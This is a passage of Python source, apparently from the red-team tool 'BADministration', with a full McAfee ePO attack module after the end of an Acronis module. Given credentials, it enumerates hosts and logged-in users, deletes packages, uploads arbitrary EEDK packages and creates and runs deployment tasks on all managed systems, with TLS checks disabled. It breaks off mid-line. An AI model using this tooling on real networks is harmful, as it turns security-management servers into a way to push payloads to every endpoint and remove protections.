| ####Variable conversion 583 | target = self.context.Target 584 | username = self.context.Username 585 | password = self.context.Password 586 | port = self.context.Port 587 | verbose = False 588 | helper = Acronis_Helper() 589 | 590 | helper.ac_removepolicy(target, username, password, port, self.context, None) 591 | 592 | except requests.exceptions.ConnectionError as error: 593 | print colored("Connection failed to ePO server - " + target, 'yellow', 'on_blue') 594 | except Exception as error: 595 | print colored("Error message - " + str(error), 'yellow', 'on_blue') 596 | -------------------------------------------------------------------------------- /Modules/McAfee/mcafee.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import urllib3 3 | from cgi import escape 4 | from prettytable import PrettyTable 5 | from termcolor import colored 6 | import os 7 | import sys 8 | from ..Common.common import BADminConsole 9 | 10 | from mcafee_epo import Client 11 | 12 | ####https://stackoverflow.com/questions/3041986/apt-command-line-interface-like-yes-no-input 13 | 14 | class McAfee_Main(BADminConsole): 15 | def __init__(self, context): 16 | BADminConsole.__init__(self, context) 17 | self.prompt = '[BADministration\\mcafee]#' 18 | self.modules = ['enumerate', 'list_packages', 'remove_package', 'upload_package', 'create_task', 'list_tasks', 'remove_task', 'start_task'] 19 | self.enumerate = McAfee_Enumerate(context) 20 | self.list_packages = McAfee_ListPackages(context) 21 | self.remove_package = McAfee_RemovePackage(context) 22 | self.upload_package = McAfee_UploadPackage(context) 23 | self.create_task = McAfee_CreateTask(context) 24 | self.list_tasks = McAfee_ListTasks(context) 25 | self.remove_task = McAfee_RemoveTask(context) 26 | self.start_task = McAfee_StartTask(context) 27 | 28 | def do_back(self, args): 29 | return True 30 | 31 | def do_exit(self, args): 32 | sys.exit() 33 | 34 | def do_show_modules(self, args): 35 | print self.modules 36 | 37 | def do_enumerate(self, args): 38 | self.enumerate.cmdloop() 39 | 40 | def do_list_pacakges(self, args): 41 | self.list_packages.cmdloop() 42 | 43 | def do_remove_pacakge(self, args): 44 | self.remove_package.cmdloop() 45 | 46 | def do_upload_pacakge(self, args): 47 | self.upload_package.cmdloop() 48 | 49 | def do_create_task(self, args): 50 | self.create_task.cmdloop() 51 | 52 | def do_list_tasks(self, args): 53 | self.list_tasks.cmdloop() 54 | 55 | def do_remove_task(self, args): 56 | self.remove_task.cmdloop() 57 | 58 | def do_start_task(self, args): 59 | self.start_task.cmdloop() 60 | 61 | 62 | class McAfee_Helper(): 63 | def headerdisplay(self, text): 64 | print colored('-------------------------------', 'grey', 'on_blue'), 65 | print colored(text.center(40, ' '), 'red', 'on_blue'), 66 | print colored('-------------------------------', 'grey', 'on_blue') 67 | 68 | def mc_connect(self, av_server, username, password, port): 69 | try: 70 | requests.packages.urllib3.disable_warnings() 71 | mysess = requests.Session() 72 | mysess.verify = False 73 | mca = Client("https://" + av_server + ":" + port, username, password, mysess) 74 | return mca 75 | 76 | except requests.exceptions.ConnectionError as error: 77 | print colored("Connection failed to ePO server - " + target, 'yellow', 'on_blue') 78 | except Exception as error: 79 | print colored("Error message - " + str(error), 'yellow', 'on_blue') 80 | 81 | def mc_manualconnect(self, av_server, username, password, port): 82 | try: 83 | logindata = { 84 | 'j_username':username, 85 | 'j_password':password 86 | } 87 | 88 | requests.packages.urllib3.disable_warnings() 89 | mcmanual = requests.session() 90 | mcmanual.verify = False 91 | 92 | mcmanual.get('https://' + av_server + ':' + port + '/core/orionSplashScreen.do') 93 | z = mcmanual.post('https://' + av_server + ':' + port + '/core/j_security_check', data=logindata) 94 | 95 | ####Security Token Parsing 96 | securitytoken = None 97 | 98 | for line in z.text.splitlines(): 99 | if "name=\"orion.user.security.token\"" in line: 100 | securitytoken = line.split('"')[7] 101 | 102 | if securitytoken == None: 103 | print "Error: Issue detecting security token." 104 | exit() 105 | 106 | mcmanual.get('https://' + av_server + ':' + port + '/core/orionSplashScreen.do') 107 | 108 | return mcmanual, securitytoken 109 | 110 | except requests.exceptions.ConnectionError as error: 111 | print colored("Connection failed to ePO server - " + target, 'yellow', 'on_blue') 112 | except Exception as error: 113 | print colored("Error message - " + str(error), 'yellow', 'on_blue') 114 | 115 | def mc_lookuppkg(self, target, username, password, port, packageid): 116 | try: 117 | mcaconnection = self.mc_connect(target, username, password, port) 118 | pkgquery = mcaconnection('repository.findPackages', packageid) 119 | 120 | if len(pkgquery) == 0: 121 | print('No packages found.') 122 | return False, None, None, None 123 | 124 | if len(pkgquery) > 1: 125 | print('More than one package with that ID found. Exiting...') 126 | return False, None, None, None 127 | 128 | return True, pkgquery[0]["productDetectionProductVersion"], pkgquery[0]['packageBranch'], pkgquery[0]['packageType'] 129 | 130 | except requests.exceptions.ConnectionError as error: 131 | print colored("Connection failed to ePO server - " + target, 'yellow', 'on_blue') 132 | except Exception as error: 133 | print colored("Error message - " + str(error), 'yellow', 'on_blue') 134 | 135 | def mc_lookuptaskid(self, target, username, password, port, taskname): 136 | try: 137 | mcaconnection = self.mc_connect(target, username, password, port) 138 | taskquery = mcaconnection('clienttask.find', taskname) 139 | 140 | if len(taskquery) == 0: 141 | print('Task not found.') 142 | return False, None 143 | 144 | if len(taskquery) > 1: 145 | print('More than one task with that name found.') 146 | return False, None 147 | 148 | return True, taskquery[0]["objectId"] 149 | 150 | except requests.exceptions.ConnectionError as error: 151 | print colored("Connection failed to ePO server - " + target, 'yellow', 'on_blue') 152 | except Exception as error: 153 | print colored("Error message - " + str(error), 'yellow', 'on_blue') 154 | 155 | def mc_listtasks(self, target, username, password, port, taskname): 156 | try: 157 | ####Connection 158 | mcaconnection = self.mc_connect(target, username, password, port) 159 | 160 | ####Header 161 | self.headerdisplay("McAfee ePO Client Task Enumeration") 162 | 163 | taskquery = mcaconnection('clienttask.find', taskname) 164 | 165 | t = PrettyTable(['Taskname', 'Product Name', 'Type']) 166 | 167 | for r in taskquery: 168 | t.add_row([r['objectName'], r['productName'], r['typeName']]) 169 | print t 170 | 171 | except requests.exceptions.ConnectionError as error: 172 | print colored("Connection failed to ePO server - " + target, 'yellow', 'on_blue') 173 | except Exception as error: 174 | print colored("Error message - " + str(error), 'yellow', 'on_blue') 175 | 176 | class McAfee_Enumerate(BADminConsole): 177 | 178 | params = ['target', 'username', 'password', 'port'] 179 | 180 | def __init__(self, context): 181 | BADminConsole.__init__(self, context) 182 | self.prompt = '[BADministration\\mcafee\\enumerate]#' 183 | self.get_params() 184 | 185 | def get_params(self): 186 | self.requiredparams = {"Target": self.context.Target,"Username": self.context.Username, "Password": self.context.Password, "Port": self.context.Port } 187 | 188 | def do_show_options(self, args): 189 | """Shows required parameters""" 190 | self.context.requiredparams(self.requiredparams) 191 | 192 | def do_set_param(self, args): 193 | """Sets required parameters set_param [parameter] [option] 194 | Example: set_param target 192.168.1.1""" 195 | self.context.argumentparser(args) 196 | 197 | def complete_set_param(self, text, line, begidx, endidx): 198 | if not text: 199 | completions = self.params[:] 200 | else: 201 | completions = [ f 202 | for f in self.params 203 | if f.startswith(text) 204 | ] 205 | return completions 206 | 207 | def do_back(self, args): 208 | """Goes back to parent module""" 209 | return True 210 | 211 | def do_exit(self, args): 212 | """Exit""" 213 | sys.exit() 214 | 215 | def do_run(self, args): 216 | """Runs the current module""" 217 | flag = True 218 | self.get_params() 219 | for c, d in self.requiredparams.items(): 220 | if d is None: 221 | print "Parameter not set" 222 | self.do_show_options(args) 223 | flag = False 224 | break 225 | if flag is True: 226 | self.mc_enumerate() 227 | 228 | def mc_enumerate(self): 229 | try: 230 | ####Variable conversion 231 | target = self.context.Target 232 | username = self.context.Username 233 | password = self.context.Password 234 | port = self.context.Port 235 | verbose = False 236 | helper = McAfee_Helper() 237 | 238 | ####Connection Setup 239 | mcaconnection = helper.mc_connect(target, username, password, port) 240 | 241 | ####Header 242 | helper.headerdisplay("McAfee ePO Enumeration") 243 | 244 | ####Query nodes 245 | nodequery = mcaconnection('system.find', '') 246 | 247 | if len(nodequery) == 0: 248 | print('No nodes found.') 249 | return 250 | 251 | t = PrettyTable(['ID', 'DisplayName', 'Domain', 'DNS', 'IP Address', 'Node Type', 'LoggedIn Username']) 252 | 253 | for r in nodequery: 254 | t.add_row([r['EPOComputerProperties.ParentID'], r['EPOComputerProperties.ComputerName'], r['EPOComputerProperties.DomainName'], r['EPOComputerProperties.IPHostName'], r['EPOComputerProperties.IPAddress'], r['EPOComputerProperties.OSType'], r['EPOComputerProperties.UserName']]) 255 | print t 256 | 257 | except requests.exceptions.ConnectionError as error: 258 | print colored("Connection failed to ePO server - " + target, 'yellow', 'on_blue') 259 | except Exception as error: 260 | print colored("Error message - " + str(error), 'yellow', 'on_blue') 261 | 262 | class McAfee_ListPackages(BADminConsole): 263 | 264 | params = ['target', 'username', 'password', 'port'] 265 | 266 | def __init__(self, context): 267 | BADminConsole.__init__(self, context) 268 | self.prompt = '[BADministration\\mcafee\\list_packages]#' 269 | self.get_params() 270 | 271 | def get_params(self): 272 | self.requiredparams = {"Target": self.context.Target,"Username": self.context.Username, "Password": self.context.Password, "Port": self.context.Port } 273 | 274 | def do_show_options(self, args): 275 | """Shows required parameters""" 276 | self.context.requiredparams(self.requiredparams) 277 | 278 | def do_set_param(self, args): 279 | """Sets required parameters set_param [parameter] [option] 280 | Example: set_param target 192.168.1.1""" 281 | self.context.argumentparser(args) 282 | 283 | def complete_set_param(self, text, line, begidx, endidx): 284 | if not text: 285 | completions = self.params[:] 286 | else: 287 | completions = [ f 288 | for f in self.params 289 | if f.startswith(text) 290 | ] 291 | return completions 292 | 293 | def do_back(self, args): 294 | """Goes back to parent module""" 295 | return True 296 | 297 | def do_exit(self, args): 298 | """Exit""" 299 | sys.exit() 300 | 301 | def do_run(self, args): 302 | """Runs the current module""" 303 | flag = True 304 | self.get_params() 305 | for c, d in self.requiredparams.items(): 306 | if d is None: 307 | print "Parameter not set" 308 | self.do_show_options(args) 309 | flag = False 310 | break 311 | if flag is True: 312 | self.mc_listpackages() 313 | 314 | def mc_listpackages(self): 315 | try: 316 | ####Variable conversion 317 | target = self.context.Target 318 | username = self.context.Username 319 | password = self.context.Password 320 | port = self.context.Port 321 | verbose = False 322 | helper = McAfee_Helper() 323 | 324 | ####Connection Setup 325 | mcaconnection = helper.mc_connect(target, username, password, port) 326 | 327 | ####Header 328 | helper.headerdisplay("McAfee ePO Package Enumeration") 329 | 330 | ####Query packages 331 | pkgquery = mcaconnection('repository.findPackages', '') 332 | 333 | if len(pkgquery) == 0: 334 | print('No nodes found.') 335 | return 336 | 337 | t = PrettyTable(['Package ID', 'Package Type', 'Package Branch', 'Product Name', 'Product Version', 'Signer Name']) 338 | 339 | for r in pkgquery: 340 | if r['signerName'] == "McAfee": 341 | t.add_row([r['productID'], r['packageType'], r['packageBranch'], r['productName'], r['productDetectionProductVersion'], ""]) 342 | else: 343 | t.add_row([r['productID'], r['packageType'], r['packageBranch'], r['productName'], r['productDetectionProductVersion'], r['signerName']]) 344 | print t 345 | 346 | except requests.exceptions.ConnectionError as error: 347 | print colored("Connection failed to ePO server - " + target, 'yellow', 'on_blue') 348 | except Exception as error: 349 | print colored("Error message - " + str(error), 'yellow', 'on_blue') 350 | 351 | class McAfee_RemovePackage(BADminConsole): 352 | 353 | params = ['target', 'username', 'password', 'port', 'packageid'] 354 | 355 | def __init__(self, context): 356 | BADminConsole.__init__(self, context) 357 | self.prompt = '[BADministration\\mcafee\\remove_package]#' 358 | self.get_params() 359 | 360 | def get_params(self): 361 | self.requiredparams = {"Target": self.context.Target,"Username": self.context.Username, "Password": self.context.Password, "Port": self.context.Port, "PackageId": self.context.PackageId } 362 | 363 | def do_show_options(self, args): 364 | """Shows required parameters""" 365 | self.context.requiredparams(self.requiredparams) 366 | 367 | def do_set_param(self, args): 368 | """Sets required parameters set_param [parameter] [option] 369 | Example: set_param target 192.168.1.1""" 370 | self.context.argumentparser(args) 371 | 372 | def complete_set_param(self, text, line, begidx, endidx): 373 | if not text: 374 | completions = self.params[:] 375 | else: 376 | completions = [ f 377 | for f in self.params 378 | if f.startswith(text) 379 | ] 380 | return completions 381 | 382 | def do_back(self, args): 383 | """Goes back to parent module""" 384 | return True 385 | 386 | def do_exit(self, args): 387 | """Exit""" 388 | sys.exit() 389 | 390 | def do_run(self, args): 391 | """Runs the current module""" 392 | flag = True 393 | self.get_params() 394 | for c, d in self.requiredparams.items(): 395 | if d is None: 396 | print "Parameter not set" 397 | self.do_show_options(args) 398 | flag = False 399 | break 400 | if flag is True: 401 | self.mc_removepackage() 402 | 403 | def mc_removepackage(self): 404 | try: 405 | ####Variable conversion 406 | target = self.context.Target 407 | username = self.context.Username 408 | password = self.context.Password 409 | port = self.context.Port 410 | packageid = self.context.PackageId 411 | verbose = False 412 | helper = McAfee_Helper() 413 | 414 | ####Connection Setup 415 | mcaconnection = helper.mc_connect(target, username, password, port) 416 | 417 | ####Header 418 | helper.headerdisplay("McAfee ePO Remove Package") 419 | 420 | Success, nothing, pkgbranch, pkgtype = helper.mc_lookuppkg(target, username, password, port, packageid) 421 | 422 | if Success is False: 423 | return 424 | 425 | print colored("Removing the McAfee package is permanent, verify that the parameters are correct:", 'yellow', 'on_blue') 426 | print "Package ID: " + packageid 427 | print "Package Type: " + pkgtype 428 | print "Package Branch: " + pkgbranch 429 | 430 | if self.context.asktocontinue() is False: 431 | raise Exception("Stop all engines!") 432 | 433 | packageremove = mcaconnection('repository.deletePackage', packageid, pkgtype, pkgbranch) 434 | if packageremove == "true": 435 | print colored("Package remove successful", 'yellow', 'on_blue') 436 | else: 437 | print colored("Package remove failed", 'red', 'on_blue') 438 | 439 | except requests.exceptions.ConnectionError as error: 440 | print colored("Connection failed to ePO server - " + target, 'yellow', 'on_blue') 441 | except Exception as error: 442 | print colored("Error message - " + str(error), 'yellow', 'on_blue') 443 | 444 | class McAfee_CreateTask(BADminConsole): 445 | 446 | params = ['target', 'username', 'password', 'port', 'taskname', 'packageid'] 447 | 448 | def __init__(self, context): 449 | BADminConsole.__init__(self, context) 450 | self.prompt = '[BADministration\\mcafee\\create_task]#' 451 | self.get_params() 452 | 453 | def get_params(self): 454 | self.requiredparams = {"Target": self.context.Target,"Username": self.context.Username, "Password": self.context.Password, "Port": self.context.Port, "PackageId": self.context.PackageId, "TaskName": self.context.TaskName } 455 | 456 | def do_show_options(self, args): 457 | """Shows required parameters""" 458 | self.context.requiredparams(self.requiredparams) 459 | 460 | def do_set_param(self, args): 461 | """Sets required parameters set_param [parameter] [option] 462 | Example: set_param target 192.168.1.1""" 463 | self.context.argumentparser(args) 464 | 465 | def complete_set_param(self, text, line, begidx, endidx): 466 | if not text: 467 | completions = self.params[:] 468 | else: 469 | completions = [ f 470 | for f in self.params 471 | if f.startswith(text) 472 | ] 473 | return completions 474 | 475 | def do_back(self, args): 476 | """Goes back to parent module""" 477 | return True 478 | 479 | def do_exit(self, args): 480 | """Exit""" 481 | sys.exit() 482 | 483 | def do_run(self, args): 484 | """Runs the current module""" 485 | flag = True 486 | self.get_params() 487 | for c, d in self.requiredparams.items(): 488 | if d is None: 489 | print "Parameter not set" 490 | self.do_show_options(args) 491 | flag = False 492 | break 493 | if flag is True: 494 | self.mc_createdeploytask() 495 | 496 | def mc_createdeploytask(self): 497 | try: 498 | ####Variable conversion 499 | target = self.context.Target 500 | username = self.context.Username 501 | password = self.context.Password 502 | port = self.context.Port 503 | packageid = self.context.PackageId 504 | taskname = self.context.TaskName 505 | verbose = False 506 | helper = McAfee_Helper() 507 | 508 | ####Header 509 | helper.headerdisplay("McAfee ePO Create Deploy Task") 510 | 511 | ####Get Package Version Number ... Janky :S 512 | Success, prodver, pkgbranch, nothing = helper.mc_lookuppkg(target, username, password, port, packageid) 513 | 514 | if Success is False: 515 | return 516 | 517 | ####Sanity Check 518 | print colored("Create McAfee deploy client task, verify that the parameters are correct:", 'yellow', 'on_blue') 519 | print "Taskname: " + taskname 520 | print "Package ID & Version: " + packageid + ':' + prodver 521 | print "Package Branch: " + pkgbranch 522 | 523 | if self.context.asktocontinue() is False: 524 | raise Exception("Stop all engines!") 525 | 526 | ####Connection Setup 527 | mcaconnection, securitytoken = helper.mc_manualconnect(target, username, password, port) 528 | 529 | ####Get PolicyMgmt Cookie 530 | mcaconnection.get('https://' + target + ':' + port + '/PolicyMgmt/taskcatalog/typePaneMenu.js') 531 | 532 | ### 533 | taskstage1 = ( 534 | ('orion.user.security.token', securitytoken), 535 | ('typeSelected', '2'), 536 | ('taskType', '2'), 537 | ('returnTo', '/PolicyMgmt/TaskCatalog.do'), 538 | ('nodeID', '') 539 | ) 540 | 541 | taskstagereq1 = mcaconnection.post('https://' + target + ':' + port + '/PolicyMgmt/newTask.do', data=taskstage1) 542 | 543 | taskstage2 = ( 544 | ('orion.user.security.token', securitytoken), 545 | ('orion.user.security.token', securitytoken), #I see it too 546 | ('taskname', taskname), 547 | ('taskdesc', ''), 548 | ('hiddenID_LocationItemIDList', '1'), 549 | ('hiddenID_SelectedPlatforms', 'WIN95|WIN98|WINME|WNTS|WNTW|WXPW|WXPS|WXPHE|WXPE|W2KS|W2KW|WVST|WVSTS|WNT7W|WIN8W|WIN8S|WINXW|WINXS'), 550 | ('Checkbox_Windows', 'on'), 551 | ('select_location_1', packageid + ':' + prodver), 552 | ('select_action_1', 'Install'), 553 | ('select_language_1', '0000'), 554 | ('select_branch_1', pkgbranch), 555 | ('select_hidden_value_1', ''), 556 | ('cmd_line_1', ''), 557 | ('select_platform_1', 'W2KAS|W2KDC|W2KS|W2KW|WIN8S|WIN8W|WINXS|WINXW|WNT7W|WVST|WVSTS|WXPE|WXPHE|WXPS|WXPW'), 558 | ('maxNumberPostpone', '1'), 559 | ('postpneTimeoutInterval', '20'), 560 | ('postponeText', ''), 561 | ('cmd_line_@ID', ''), 562 | ('ajaxMode', 'standard') 563 | ) 564 | 565 | taskstagereq2 = mcaconnection.post('https://' + target + ':' + port + '/PolicyMgmt/saveTask.do', data=taskstage2) 566 | 567 | if taskstagereq2.status_code != requests.codes.ok: 568 | print colored("Task creation failed", 'red', 'on_blue') 569 | return 570 | 571 | print colored("Verifying client task was created", 'yellow', 'on_blue') 572 | 573 | helper.mc_listtasks(target, username, password, port, "") 574 | 575 | except requests.exceptions.ConnectionError as error: 576 | print colored("Connection failed to ePO server - " + target, 'yellow', 'on_blue') 577 | except Exception as error: 578 | print colored("Error message - " + str(error), 'yellow', 'on_blue') 579 | 580 | 581 | class McAfee_UploadPackage(BADminConsole): 582 | 583 | params = ['target', 'username', 'password', 'port', 'packagepath', 'packagebranch'] 584 | 585 | def __init__(self, context): 586 | BADminConsole.__init__(self, context) 587 | self.prompt = '[BADministration\\mcafee\\upload_package]#' 588 | self.get_params() 589 | 590 | def get_params(self): 591 | self.requiredparams = {"Target": self.context.Target,"Username": self.context.Username, "Password": self.context.Password, "Port": self.context.Port, "PackagePath": self.context.PackagePath, "PackageBranch": self.context.PackageBranch } 592 | 593 | def do_show_options(self, args): 594 | """Shows required parameters""" 595 | print colored("PackagePath is the local path to the EEDK zip file.", 'yellow', 'on_blue') 596 | print colored("PackageBranch is the target branch the package will be uploaded to, use Current if unsure.", 'yellow', 'on_blue') 597 | self.context.requiredparams(self.requiredparams) 598 | 599 | def do_set_param(self, args): 600 | """Sets required parameters set_param [parameter] [option] 601 | Example: set_param target 192.168.1.1""" 602 | self.context.argumentparser(args) 603 | 604 | def complete_set_param(self, text, line, begidx, endidx): 605 | if not text: 606 | completions = self.params[:] 607 | else: 608 | completions = [ f 609 | for f in self.params 610 | if f.startswith(text) 611 | ] 612 | return completions 613 | 614 | def do_back(self, args): 615 | """Goes back to parent module""" 616 | return True 617 | 618 | def do_exit(self, args): 619 | """Exit""" 620 | sys.exit() 621 | 622 | def do_run(self, args): 623 | """Runs the current module""" 624 | flag = True 625 | self.get_params() 626 | for c, d in self.requiredparams.items(): 627 | if d is None: 628 | print "Parameter not set" 629 | self.do_show_options(args) 630 | flag = False 631 | break 632 | if flag is True: 633 | self.mc_uploadpackage() 634 | 635 | def mc_uploadpackage(self): 636 | try: 637 | 638 | ####Variable conversion 639 | target = self.context.Target 640 | username = self.context.Username 641 | password = self.context.Password 642 | port = self.context.Port 643 | packagelocation = self.context.PackagePath 644 | packagebranch = self.context.PackageBranch 645 | 646 | verbose = False 647 | helper = McAfee_Helper() 648 | 649 | ####Header 650 | helper.headerdisplay("McAfee ePO Upload Package") 651 | 652 | ####Connection Setup 653 | mcaconnection, securitytoken = helper.mc_manualconnect(target, username, password, port) 654 | 655 | ####Sanity Check 656 | print colored("Uploading package, verify that the parameters are correct:", 'yellow', 'on_blue') 657 | print "Package Filename: " + os.path.basename(packagelocation) 658 | print "Package Path: " + os.path.abspath(packagelocation) 659 | print "Package Branch: " + packagebranch 660 | 661 | if self.context.asktocontinue() is False: 662 | raise Exception("Stop all engines!") 663 | 664 | ####Craft Post Requests 665 | uploadstage1 = { 666 | 'orion.user.security.token': (None, securitytoken), 667 | 'wizardCurrentPage': (None, 'choose'), 668 | 'packageOption': (None, '0'), 669 | 'packageFile': (os.path.basename(packagelocation), open(os.path.abspath(packagelocation), 'rb'), 'application/zip'), 670 | 'packageFileName': (None, 'C:\\fakepath\\' + os.path.basename(packagelocation)), 671 | 'orion.wizard.step': (None, 'next') 672 | } 673 | 674 | packagestage1 = mcaconnection.post('https://' + target + ':' + port + '/RepositoryMgmt/updateCheckInStep1.do', files=uploadstage1) 675 | 676 | uploadstage2 = { 677 | 'orion.user.security.token': (None, securitytoken), 678 | 'packageVO': (None, None), 679 | 'wizardCurrentPage': (None, 'setup'), 680 | 'branch': (None, 'Current'), 681 | 'orion.wizard.step': (None, 'final') 682 | } 683 | 684 | packagestage2 = mcaconnection.post('https://' + target + ':' + port + '/RepositoryMgmt/updateCheckInStep2.do', files=uploadstage2) 685 | 686 | if packagestage2.status_code == requests.codes.ok: 687 | print colored("Package uploaded successful", 'yellow', 'on_blue') 688 | else: 689 | print colored("Package uploaded failed", 'red', 'on_blue') 690 | 691 | except requests.exceptions.ConnectionError as error: 692 | print colored("Connection failed to ePO server - " + target, 'yellow', 'on_blue') 693 | except Exception as error: 694 | print colored("Error message - " + str(error), 'yellow', 'on_blue') 695 | 696 | class McAfee_ListTasks(BADminConsole): 697 | 698 | params = ['target', 'username', 'password', 'port', ] 699 | 700 | def __init__(self, context): 701 | BADminConsole.__init__(self, context) 702 | self.prompt = '[BADministration\\mcafee\\list_tasks]#' 703 | self.get_params() 704 | 705 | def get_params(self): 706 | self.requiredparams = {"Target": self.context.Target,"Username": self.context.Username, "Password": self.context.Password, "Port": self.context.Port } 707 | 708 | def do_show_options(self, args): 709 | """Shows required parameters""" 710 | self.context.requiredparams(self.requiredparams) 711 | 712 | def do_set_param(self, args): 713 | """Sets required parameters set_param [parameter] [option] 714 | Example: set_param target 192.168.1.1""" 715 | self.context.argumentparser(args) 716 | 717 | def complete_set_param(self, text, line, begidx, endidx): 718 | if not text: 719 | completions = self.params[:] 720 | else: 721 | completions = [ f 722 | for f in self.params 723 | if f.startswith(text) 724 | ] 725 | return completions 726 | 727 | def do_back(self, args): 728 | """Goes back to parent module""" 729 | return True 730 | 731 | def do_exit(self, args): 732 | """Exit""" 733 | sys.exit() 734 | 735 | def do_run(self, args): 736 | """Runs the current module""" 737 | flag = True 738 | self.get_params() 739 | for c, d in self.requiredparams.items(): 740 | if d is None: 741 | print "Parameter not set" 742 | self.do_show_options(args) 743 | flag = False 744 | break 745 | if flag is True: 746 | self.mc_listtasks() 747 | 748 | def mc_listtasks(self): 749 | try: 750 | ####Variable conversion 751 | target = self.context.Target 752 | username = self.context.Username 753 | password = self.context.Password 754 | port = self.context.Port 755 | packageid = self.context.PackageId 756 | taskname = "" 757 | verbose = False 758 | helper = McAfee_Helper() 759 | 760 | helper.mc_listtasks(target, username, password, port, "") 761 | 762 | except requests.exceptions.ConnectionError as error: 763 | print colored("Connection failed to ePO server - " + target, 'yellow', 'on_blue') 764 | except Exception as error: 765 | print colored("Error message - " + str(error), 'yellow', 'on_blue') 766 | 767 | 768 | class McAfee_RemoveTask(BADminConsole): 769 | 770 | params = ['target', 'username', 'password', 'port', 'taskname' ] 771 | 772 | def __init__(self, context): 773 | BADminConsole.__init__(self, context) 774 | self.prompt = '[BADministration\\mcafee\\remove_task]#' 775 | self.get_params() 776 | 777 | def get_params(self): 778 | self.requiredparams = {"Target": self.context.Target,"Username": self.context.Username, "Password": self.context.Password, "Port": self.context.Port, "TaskName": self.context.TaskName } 779 | 780 | def do_show_options(self, args): 781 | """Shows required parameters""" 782 | self.context.requiredparams(self.requiredparams) 783 | 784 | def do_set_param(self, args): 785 | """Sets required parameters set_param [parameter] [option] 786 | Example: set_param target 192.168.1.1""" 787 | self.context.argumentparser(args) 788 | 789 | def complete_set_param(self, text, line, begidx, endidx): 790 | if not text: 791 | completions = self.params[:] 792 | else: 793 | completions = [ f 794 | for f in self.params 795 | if f.startswith(text) 796 | ] 797 | return completions 798 | 799 | def do_back(self, args): 800 | """Goes back to parent module""" 801 | return True 802 | 803 | def do_exit(self, args): 804 | """Exit""" 805 | sys.exit() 806 | 807 | def do_run(self, args): 808 | """Runs the current module""" 809 | flag = True 810 | self.get_params() 811 | for c, d in self.requiredparams.items(): 812 | if d is None: 813 | print "Parameter not set" 814 | self.do_show_options(args) 815 | flag = False 816 | break 817 | if flag is True: 818 | self.mc_removetask() 819 | 820 | 821 | def mc_removetask(self): 822 | try: 823 | ####Variable conversion 824 | target = self.context.Target 825 | username = self.context.Username 826 | password = self.context.Password 827 | port = self.context.Port 828 | packageid = self.context.PackageId 829 | taskname = self.context.TaskName 830 | verbose = False 831 | helper = McAfee_Helper() 832 | 833 | mcaconnection = helper.mc_connect(target, username, password, port) 834 | 835 | ####Header 836 | helper.headerdisplay("McAfee ePO Client Task Delete") 837 | 838 | ####Connection Setup 839 | mcaconnection, securitytoken = helper.mc_manualconnect(target, username, password, port) 840 | 841 | Success, taskid = helper.mc_lookuptaskid(target, username, password, port, taskname) 842 | 843 | if Success is False: 844 | return 845 | 846 | ####Get PolicyMgmt Cookie 847 | mcaconnection.get('https://' + target + ':' + port + '/PolicyMgmt/taskcatalog/typePaneMenu.js') 848 | 849 | removestage1 = ( 850 | ('orion.user.security.token', securitytoken), 851 | ('toID', taskid), 852 | ('ajaxMode', 'standard') 853 | ) 854 | 855 | ####Sanity Check 856 | print colored("Removing the following client task:", 'yellow', 'on_blue') 857 | print "Task Name: " + taskname 858 | print "Task ID: " + str(taskid) 859 | 860 | if self.context.asktocontinue() is False: 861 | raise Exception("Stop all engines!") 862 | 863 | removestagereq1 = mcaconnection.post('https://' + target + ':' + port + '/PolicyMgmt/DeleteTask.do', data=removestage1) 864 | 865 | print colored("Verifying task was removed", 'yellow', 'on_blue') 866 | helper.mc_listtasks(target, username, password, port, "") 867 | 868 | except requests.exceptions.ConnectionError as error: 869 | print colored("Connection failed to ePO server - " + target, 'yellow', 'on_blue') 870 | except Exception as error: 871 | print colored("Error message - " + str(error), 'yellow', 'on_blue') 872 | 873 | 874 | class McAfee_StartTask(BADminConsole): 875 | 876 | params = ['target', 'username', 'password', 'port', 'taskname', 'systems' ] 877 | 878 | def __init__(self, context): 879 | BADminConsole.__init__(self, context) 880 | self.prompt = '[BADministration\\mcafee\\start_task]#' 881 | self.get_params() 882 | 883 | def get_params(self): 884 | self.requiredparams = {"Target": self.context.Target,"Username": self.context.Username, "Password": self.context.Password, "Port": self.context.Port, "TaskName": self.context.TaskName, "Systems": self.context.Systems } 885 | 886 | def do_show_options(self, args): 887 | """Shows required parameters""" 888 | self.context.requiredparams(self.requiredparams) 889 | 890 | def do_set_param(self, args): 891 | """Sets required parameters set_param [parameter] [option] 892 | Example: set_param target 192.168.1.1""" 893 | self.context.argumentparser(args) 894 | 895 | def complete_set_param(self, text, line, begidx, endidx): 896 | if not text: 897 | completions = self.params[:] 898 | else: 899 | completions = [ f 900 | for f in self.params 901 | if f.startswith(text) 902 | ] 903 | return completions 904 | 905 | def do_back(self, args): 906 | """Goes back to parent module""" 907 | return True 908 | 909 | def do_exit(self, args): 910 | """Exit""" 911 | sys.exit() 912 | 913 | def do_run(self, args): 914 | """Runs the current module""" 915 | flag = True 916 | self.get_params() 917 | for c, d in self.requiredparams.items(): 918 | if d is None: 919 | print "Parameter not set" 920 | self.do_show_options(args) 921 | flag = False 922 | break 923 | if flag is True: 924 | self.mc_runtask() 925 | 926 | def mc_runtask(self): 927 | try: 928 | ####Variable conversion 929 | target = self.context.Target 930 | username = self.context.Username 931 | password = self.context.Password 932 | port = self.context.Port 933 | packageid = self.context.PackageId 934 | taskname = self.context.TaskName 935 | systems = self.context.Systems 936 | verbose = False 937 | helper = McAfee_Helper() 938 | 939 | mcaconnection = helper.mc_connect(target, username, password, port) 940 | 941 | ####Header 942 | helper.headerdisplay("McAfee ePO Assign Client Task") 943 | 944 | taskquery = mcaconnection('clienttask.find', taskname) 945 | 946 | if len(taskquery) == 0: 947 | print('No tasks found. Exiting...') 948 | exit() 949 | 950 | if len(taskquery) > 1: 951 | print('More than one task with that name found. Exiting...') 952 | exit() 953 | 954 | if systems.lower() == "all": 955 | nodequery = mcaconnection('system.find', '') 956 | 957 | if len(nodequery) == 0: 958 | print('No nodes found.') 959 | return 960 | 961 | nodelist = "" 962 | 963 | for r in nodequery: 964 | nodelist += r['EPOComputerProperties.ComputerName'] + "," 965 | systems = nodelist[:-1] 966 | 967 | ####Sanity Check 968 | print colored("Running the client task on the following systems:", 'yellow', 'on_blue') 969 | print "Task Name: " + taskname 970 | print "Target Systems: " + systems 971 | 972 | if self.context.asktocontinue() is False: 973 | raise Exception("Stop all engines!") 974 | 975 | taskassign = mcaconnection._session.get('https://' + target + ':' + port + '/remote/clienttask.run?names=' + systems + '&productId=' + taskquery[0]["productId"] + '&taskId=' + str(taskquery[0]["objectId"]), auth=(username,password)) 976 | 977 | if taskassign.status_code == 